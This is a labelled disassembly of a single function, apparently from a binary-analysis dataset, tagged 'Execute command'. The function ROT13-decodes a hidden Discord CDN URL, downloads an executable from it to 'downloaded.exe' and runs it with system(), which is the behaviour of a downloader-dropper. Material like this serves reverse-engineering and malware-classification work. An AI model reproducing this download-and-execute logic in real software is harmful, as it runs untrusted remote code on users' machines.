Function at 0x401772
Capabilities:
Execute command

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ebx
push ecx
sub esp, 0x60
call sym.___main
lea eax, [ebp - 0x27]
mov ecx, eax
call fcn.00401ab8
lea eax, [ebp - 0x40]
lea edx, [ebp - 0x27]
mov dword [esp + 4], edx
mov dword [esp], str.uggcf:__pqa.qvfpbeqncc.pbz_nggnpuzragf_1257469083377467422_1257640206547288194_grfgvat.rkr_rk66852437_vf6683q2o7_uzpr99484739407r283qr53349n7q86rro6468009p6no6po3956pq390q5641p067_
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x27]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea eax, [ebp - 0x58]
lea edx, [ebp - 0x40]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym.rot13_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov byte [ebp - 0x26], 0x26
mov byte [ebp - 0x25], 0x60
lea eax, [ebp - 0x58]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::end__
mov ebx, eax
lea eax, [ebp - 0x58]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::begin__
mov edx, eax
lea eax, [ebp - 0x26]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x25]
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
mov dword [esp], edx
call method.void_std::replace___gnu_cxx::__normal_iterator_char__std::__cxx11::basic_string_char__std::char_traits_char___std.allocator_char_______char____gnu_cxx::__normal_iterator_char__std::__cxx11::basic_string_char__std::char_traits_char___std::allocato
mov dword [esp + 4], str.Decrypted_URL:
mov dword [esp], sym.imp.libstdc_6.dll_std::cout
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov edx, eax
lea eax, [ebp - 0x58]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov dword [esp], sym.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call sym.std::ostream::operator___std::ostream____std::ostream__
sub esp, 4
lea eax, [ebp - 9]
mov ecx, eax
call fcn.00401ab8
lea eax, [ebp - 0x24]
lea edx, [ebp - 9]
mov dword [esp + 4], edx
mov dword [esp], str.downloaded.exe
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x24]
mov dword [esp + 4], eax
lea eax, [ebp - 0x58]
mov dword [esp], eax
call sym.downloadFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov ebx, eax
lea eax, [ebp - 0x24]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 9]
mov ecx, eax
call sym.std::allocator_char_::allocator__
test bl, bl
je 0x4018be
mov dword [esp + 4], str.File_downloaded_successfully
mov dword [esp], sym.imp.libstdc_6.dll_std::cout
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], sym.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call sym.std::ostream::operator___std::ostream____std::ostream__
sub esp, 4
mov dword [esp], str.downloaded.exe
call sym._system
jmp 0x4018e3
mov dword [esp + 4], str.Failed_to_download_file.
mov dword [esp], sym.imp.libstdc_6.dll_std::cerr
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], sym.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call sym.std::ostream::operator___std::ostream____std::ostream__
sub esp, 4
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
mov ebx, 0
lea eax, [ebp - 0x58]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x40]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, ebx
jmp 0x401965
lea esp, [ebp - 8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx - 4]
ret